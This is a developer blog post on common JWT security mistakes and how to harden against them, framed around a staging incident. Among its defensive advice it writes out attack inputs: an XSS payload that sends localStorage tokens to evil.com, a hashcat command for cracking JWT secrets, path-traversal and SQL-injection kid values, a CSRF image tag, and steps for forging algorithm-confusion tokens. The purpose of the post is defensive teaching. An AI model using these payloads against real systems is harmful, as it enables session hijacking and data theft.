The 3 a.m. Page That Changed How I See JWT
2:47 a.m. on a Wednesday. My phone buzzed nonstop. One line in the ops channel: “Admin API accessed without authorization on staging.”
I opened the laptop half-asleep. Logs showed a freshly registered normal user took their own JWT, changed role from user to admin in the payload, and called the delete endpoint. The server replied 200 OK.
My stomach dropped. We were using JWT. Wasn't it “secure”? How did editing one field bypass everything?
The postmortem was humbling: it wasn't JWT's fault. We treated it as a silver bullet. After that, I audited every JWT usage in the codebase and felt sick: alg:none not blocked, secret was 123456, tokens in localStorage, 30-day expiry… textbook anti-patterns, all of them.
This post is the teardown I wish I'd had. JWT is an elegant design, but elegant means low tolerance for misuse. One wrong step and you hand over the keys.
First, Get the Basics Right: What JWT Is and Isn't
The most dangerous myth: “JWT is encrypted.” It isn't. JWT stands for JSON Web Token. It answers “did I issue this and was it tampered with?” not “how do we hide data?”
A normal JWT has three dot-separated parts:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMywicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
- Header:
{"alg":"HS256","typ":"JWT"}— “I'm signed with HS256.” - Payload:
{"uid":123,"role":"user"}— business data, just Base64Url encoded. Anyone can decode it. - Signature: HMAC or RSA over the first two parts with the key/algorithm from the header.
Think of JWT as a postcard with a wax seal. Anyone can read what you wrote, but if the seal doesn't match, it was tampered with. Never write your credit card PIN on a postcard.
So stop putting password, phone, or SSN in the payload. The worst I've seen was SELECT * from the users table stuffed into a token — 8 KB per request, crushing the gateway.
Category 1: Algorithm Confusion — Elegant and Deadly
This is the most famous JWT bug class, public since 2015, yet many libraries still “trust the alg from the client.”
1. Changing alg to none and the server says “sure!”
none is a valid JWS algorithm meaning “no signature.” It exists for unsecured use cases. Bad verification looks like:
// DON'T DO THIS
const [h] = token.split('.');
const header = JSON.parse(base64UrlDecode(h));
if (header.alg === 'none') return true; // no verify!
return verify(token, secret);
Exploit is trivial: change header to {"alg":"none"}, set payload to {"role":"admin"}, drop the signature. Server lets you in.
When I first reproduced this on staging, my hands shook. One string change = admin.
Defense: Enforce an allowlist. Server hardcodes algorithms: ['HS256'] or ['RS256']. Reject none outright. Modern jsonwebtoken disables none by default, but hand-rolled verifiers still fail.
2. RS256 → HS256 Switch: Using the Public Key as HMAC Secret
This one has burned big companies.
RS256 is asymmetric: private key signs, public key verifies. HS256 is symmetric: same secret signs and verifies.
Bug: some libraries pick verification method based on header.alg. Attacker takes an RS256 token, changes header to HS256, and the server thinks: “Oh, HS256? Then I'll verify with HMAC using the ‘secret’.” And the “secret” it uses is the RS256 public key — which is public.
# Attacker steps
1. Fetch RS256 public key from /.well-known/jwks.json
2. Build header {"alg":"HS256","typ":"JWT"}
3. Build payload {"uid":1,"role":"admin"}
4. Sign with HS256 using the public key string as secret
5. Server verifies HMAC with same public key → passes
Researcher Tim McLean disclosed this in 2015; many Python/Ruby libs were hit. Subtle, devastating.
Defense: Two rules: ① Verification algorithm is server-configured, never from token. ② Keep RS256 public keys and HS256 secrets in separate stores. Always pass algorithms: ['RS256'] explicitly.
3. Never Trust Client-Controlled Headers
header.alg is attacker-controlled. Treat it like isAdmin=true from the client — never trust it.
Category 2: Keys — Paper-Thin When Done Wrong
1. Weak Secrets: 123456 Is Not a Secret
I've brute-forced JWT secrets with hashcat in seconds: secret, password, 123456, jwt_secret. Company acronym + year like acme2023 is barely better. JWT signatures are deterministic, so attackers can brute-force offline without touching your server.
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
Defense: At least 32 random bytes: openssl rand -hex 32. Rotate immediately if you shipped a weak secret and invalidate old tokens.
2. Key Leakage: Frontend, GitHub, Logs
Three leaks I've seen in audits:
- Frontend bundle:
JWT_SECRETshipped inapp.js. Searchable in devtools. - GitHub:
.envcommitted withmy_super_secret_123. - Logs: Full tokens logged to ELK, visible to everyone. A token leak is a key leak equivalent.
Some frameworks even leak the secret in error messages on verification failure.
Defense: Keys live in env vars or KMS only. Frontend stores tokens, never secrets. Redact tokens in logs.
3. kid — The Forgotten Backdoor
Header field kid (Key ID) tells the server which key to use:
const kid = header.kid;
const key = getKey(kid); // often string concat
verify(token, key);
If getKey is naive:
- Path traversal:
kid="../../dev/null"→ server uses empty file as key. - SQLi:
kid="1' OR '1'='1"if kid is concatenated into SQL. - File read probe:
/keys/${kid}.pemwithkid="../../../../etc/passwd".
I once enumerated valid kids via timing differences on “key not found.”
Defense: Strict allowlist for kid (alphanumerics + hyphen). Use a map, never path/SQL interpolation.
4. jku and x5u — Letting Attackers Choose Your Key
jku (JWK Set URL) and x5u (X509 URL) say “fetch my public key at this URL.” If the server trusts them, attacker points jku to their own server and the server happily fetches the attacker's key to verify the attacker's token.
Defense: Disable jku/x5u/x5c in production. If you must, allowlist domains + enforce HTTPS.
Category 3: Expiry, Revocation, Replay — The Cost of Stateless
JWT's selling point — stateless — is also its curse. Sessions are easy to revoke: delete the session. A JWT, once issued, is an irrevocable check until it expires. Password changed, account banned, token stolen — attacker rides it until expiry.
I've seen exp set to 30 days or never. “For better UX, no login required.” Then a lost phone = 30-day window.
The right pattern — short-lived + revocable:
- Short-lived access token: 5–15 min, minimal claims.
- Rotating refresh token: Longer-lived, stored httpOnly + DB. Invalidate old refresh token on use. Reuse detection: same refresh token used twice → revoke all tokens for that user.
- Blocklist/allowlist: On logout/password change/ban, put
jtiin Redis with TTL = remaining lifetime. Check blocklist on verify. Yes, this makes it stateful — a necessary compromise. - Validate aud, iss, nbf: Many verifiers skip
aud/iss. Result: token from service A works on service B.
jwt.verify(token, publicKey, {
algorithms: ['RS256'],
issuer: 'auth.mycompany.com',
audience: 'api.mycompany.com',
clockTolerance: 5
});
Category 4: Where You Store JWT Decides How You Die
| Where | Pros | Cons | How it leaks |
|---|---|---|---|
| localStorage / sessionStorage | Easy for frontend | Any JS can read | Single XSS steals everything |
| In-memory variable | Gone on tab close | Lost on refresh | Safer but poor UX |
| httpOnly + Secure + SameSite Cookie | JS can't read, XSS resistant | CSRF risk | Needs CSRF token |
Most common mistake: put token in localStorage for convenience, then one comment box without XSS filtering gets injected with <img src=x onerror=fetch('https://evil.com?c='+localStorage.getItem('token'))> — all visitors' tokens harvested.
Cookies aren't magic either: they're auto-sent, enabling CSRF — <img src="https://api.mycompany.com/transfer?to=attacker"> triggers an authenticated request if user is logged in.
Stable production pattern today: access token in memory, refresh token in httpOnly + Secure + SameSite=Strict cookie, plus SameSite and anti-CSRF token. Refresh on page reload. And HTTPS everywhere, otherwise tokens are plaintext on the wire.
Category 5: Forgotten Claims
Signature valid ≠ business valid. Many codebases do req.user = decoded after verify and skip:
- exp not checked — some libs don't check expiry by default.
- nbf not checked — “not before” ignored, token used early.
- Privileges in payload trusted: putting
role/isVipin JWT and trusting it. Better: JWT only carriesuid, fetch privileges from DB/cache. - Replay: No
jtidedup, stolen token replayed. For sensitive actions, enforce one-timejtior bindjti + ip + ua.
Production Hardening Checklist — What I Enforce Now
- Algorithm allowlist: Hardcode
algorithms: ['RS256']. Never read alg from header. Disable none, jku, x5u. - Strong, rotatable keys: ≥32 random bytes for HS256, ≥2048-bit for RS256. Store in KMS/env, support rotation by kid, keep old key 7 days.
- Short expiry + rotation: 10-min access, 7-day rotating refresh + blocklist on logout/password change/ban.
- Minimal payload: Only
uid,jti,exp,iat. No PII. Use JWE if you must carry sensitive data. - Strict validation: Check iss, aud, exp, nbf, jti. Never trust JWT for authorization; query server.
- Storage: Refresh in httpOnly cookie, access in memory. Redact logs, enforce HTTPS, CSP against XSS.
- Observability: Trace jti issuance/refresh/revocation, alert on reuse.
One-liner: treat JWT as a disposable pass, not a permanent ID.
Closing: JWT Isn't Broken — Blind Trust Is
JWT's design is restrained: three parts, Base64Url, optional algorithms, standard claims. Almost every “insecurity” is implementation laziness: trusting alg to save effort, weak secrets for convenience, month-long expiry for UX, stuffing permissions into payload for speed.
It's like a kitchen knife: not dangerous by itself, but swing it blindfolded and you'll get cut.
If you use JWT today, grep your codebase tonight: any verify(token, secret) without algorithms? Any secret in plaintext config.js? Any token expiring in days? Fix one, you've prevented one 3 a.m. page.
Don't wait for a breach to remember this post.
